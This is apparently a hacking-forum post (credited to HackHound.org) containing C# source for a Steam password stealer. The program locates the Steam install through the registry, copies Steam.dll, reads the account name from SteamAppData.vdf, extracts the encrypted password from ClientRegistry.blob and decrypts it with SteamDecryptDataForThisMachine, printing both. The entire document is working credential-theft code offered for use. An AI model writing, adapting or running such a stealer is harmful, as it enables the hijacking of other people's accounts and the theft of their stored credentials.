Autor: lolita & t0fx
Quelle: HackHound.org

Code:
namespace steam_decrypt
{
    class Program
    {
        [DllImport("Steam.dll", CallingConvention = CallingConvention.Cdecl)]
        public static extern int SteamDecryptDataForThisMachine(string encryptedData, int encryptedDataSize, StringBuilder decryptedBuffer, int decryptedBufferSize, ref int decryptedDataSize);
        static void Main(string[] args)
        {
            try
            {
                RegistryKey rksteam = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Valve\\Steam", true);
                if (rksteam != null)
                {
                    string steaMpath = (string)rksteam.GetValue("SteamPath");
                    if (File.Exists(Environment.CurrentDirectory + "\\Steam.dll") == false)
                    {
                        File.Copy(steaMpath + "\\Steam.dll", Environment.CurrentDirectory + "\\Steam.dll", true);
                    }
                    string[] data = File.ReadAllLines(steaMpath + "\\config\\SteamAppData.vdf");
                    for (int pos = 0; pos < data.Length; pos++)
                    {
                        if (data[pos].Contains("User"))
                        {
                            string[] info = System.Text.RegularExpressions.Regex.Replace(data[pos], @"\s+", " ").Split(' ');
                            if (info[2] != null)
                            {
                                string username = info[2].TrimEnd('"').TrimStart('"');
                                Console.WriteLine("Username : " + username);
                            }
                        }
                    }
                    string sInhalt = File.ReadAllText(steaMpath + "\\ClientRegistry.blob");
                    int Phrase;
                    Phrase = sInhalt.IndexOf("Phrase", 1);

                    sInhalt = Mid(sInhalt, Phrase + 40);

                    string encpwd = Left(sInhalt, 92).Trim();
                    int decryptedDataSize = 0;
                    StringBuilder pwd = new StringBuilder();
                    pwd.Length = encpwd.Length / 2;
                    if (SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, ref decryptedDataSize) == 0)
                    {
                        Console.WriteLine("Password : " + pwd);
                    }
                    else
                    {
                        Console.WriteLine("error : Error decrypting the Steam Password.");
                    }
                }
                Console.ReadLine();
            }


            catch (Exception g)
            {
                try
                {
                    const string steaMpath = ("@C:\\Program Files\\Steam");
                    File.Copy(steaMpath + "\\Steam.dll", Environment.CurrentDirectory + "\\Steam.dll", true);
                    string[] data = File.ReadAllLines(steaMpath + "\\config\\SteamAppData.vdf");
                    for (int pos = 0; pos < data.Length; pos++)
                    {
                        if (data[pos].Contains("User"))
                        {
                            string[] info = System.Text.RegularExpressions.Regex.Replace(data[pos], @"\s+", " ").Split(' ');
                            if (info[2] != null)
                            {
                                string username = info[2].TrimEnd('"').TrimStart('"');
                                Console.WriteLine("Username : " + username);
                            }
                        }
                    }
                    string sInhalt = File.ReadAllText(steaMpath + "\\ClientRegistry.blob");
                    int Phrase;
                    Phrase = sInhalt.IndexOf("Phrase", 1);

                    sInhalt = Mid(sInhalt, Phrase + 40);

                    string encpwd = Left(sInhalt, 92).Trim();
                    int decryptedDataSize = 0;
                    StringBuilder pwd = new StringBuilder();
                    pwd.Length = encpwd.Length / 2;
                    if (SteamDecryptDataForThisMachine(encpwd, encpwd.Length, pwd, pwd.Length, ref decryptedDataSize) == 0)
                    {
                        Console.WriteLine("Password : " + pwd);
                    }
                    else
                    {
                        Console.WriteLine("Error decrypting the Steam Password.");
                    }
                    Console.ReadLine();
                }


                catch (Exception h)
                {
                    Console.WriteLine("Steam not installed or password not stored");
                }
            }
        }

        public static string Left(string param, int length)
        {
            string result = param.Substring(0, length);
            return result;
        }
        public static string Mid(string param, int startIndex)
        {
            string result = param.Substring(startIndex);
            return result;
        }

    }
}